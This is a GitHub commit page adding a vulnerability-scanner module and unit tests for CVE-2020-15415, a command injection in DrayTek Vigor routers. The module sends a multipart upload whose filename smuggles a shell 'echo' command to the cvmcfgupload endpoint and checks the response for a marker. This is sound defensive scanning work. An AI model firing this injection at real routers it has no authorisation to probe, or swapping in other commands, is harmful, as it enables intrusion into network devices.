Skip to content

Commit

Permalink
Merge pull request #120 from Ostorlab/feature/cve_2020_15415
Browse files Browse the repository at this point in the history
Feature/CVE 2020 15415
  • Loading branch information
3asm authored Oct 4, 2024
2 parents 03438be + f762b07 commit a154c69
Show file tree
Hide file tree
Showing 2 changed files with 163 additions and 0 deletions.
74 changes: 74 additions & 0 deletions agent/exploits/cve_2020_15415.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
"""Agent Asteroid implementation for CVE-2020-15415"""

import logging
import re
from urllib import parse as urlparse

import requests

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

VULNERABILITY_TITLE = "Remote Command Execution in DrayTek Vigor Routers"
VULNERABILITY_REFERENCE = "CVE-2020-15415"
VULNERABILITY_DESCRIPTION = """A command injection vulnerability exists in the cgi-bin/mainfunction.cgi/cvmcfgupload endpoint of DrayTek Vigor3900, Vigor2960, and Vigor300B devices before version 1.5.1, allowing remote code execution via shell metacharacters in a filename."""
RISK_RATING = "CRITICAL"

MAX_REDIRECTS = 2
DEFAULT_TIMEOUT = 90

UNIQUE_VALUE = "34ec96cf-d6f1-428a-b955-95080d0536e5"


@exploits_registry.register
class DrayTekVigorCommandInjectionExploit(webexploit.WebExploit):
accept_request = definitions.Request(method="GET", path="/")
check_request = definitions.Request(
method="POST", path="/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2"
)
accept_pattern = [re.compile(r"Vigor Login Page")]
metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect the remote command execution vulnerability on a specific target.
Args:
target: Target to scan
Returns:
List of identified vulnerabilities.
"""
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False

target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)

payload = f"""------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';echo {UNIQUE_VALUE};echo 'oxo_"
Content-Type: text/x-python-script
------WebKitFormBoundary--"""

try:
resp = session.post(
target_endpoint,
data=payload,
timeout=DEFAULT_TIMEOUT,
headers={
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"
},
)
except requests.RequestException as e:
logging.error("HTTP Request failed: %s", e)
return []

if UNIQUE_VALUE in resp.text:
vulnerability = self._create_vulnerability(target)
return [vulnerability]

return []
89 changes: 89 additions & 0 deletions tests/exploits/cve_2020_15415_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
"""Unit tests for Agent Asteroid: CVE-2020-15415"""

import requests
import requests_mock as req_mock

from agent import definitions
from agent.exploits import cve_2020_15415


def testCVE202015415_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when target is vulnerable."""
requests_mock.get(
"http://localhost:80/",
text="<html><title>Vigor Login Page</title></html>",
status_code=200,
)
requests_mock.post(
"http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
text="34ec96cf-d6f1-428a-b955-95080d0536e5",
status_code=200,
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)
accept = exploit_instance.accept(target)

assert accept is True
assert len(vulnerabilities) == 1
vulnerability = vulnerabilities[0]
assert (
vulnerability.entry.title == "Remote Command Execution in DrayTek Vigor Routers"
)
assert vulnerability.technical_detail == (
"http://localhost:80 is vulnerable to CVE-2020-15415, "
"Remote Command Execution in DrayTek Vigor Routers"
)


def testCVE202015415_whenSafe_reportNothing(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when target is safe."""
requests_mock.post(
"http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
text="whatever",
status_code=200,
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0


def testCVE202015415_whenRequestException_doesNotCrash(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when a request exception occurs."""
requests_mock.post(
"http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
exc=requests.RequestException("Connection error"),
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0


def testCVE202015415_whenNotDrayTekVigor_doesNotAccept(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when target is not a DrayTek Vigor device."""
requests_mock.get(
"http://localhost:80/",
text="<title>Apache</title>",
status_code=200,
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)

assert accept is False

0 comments on commit a154c69

Please sign in to comment.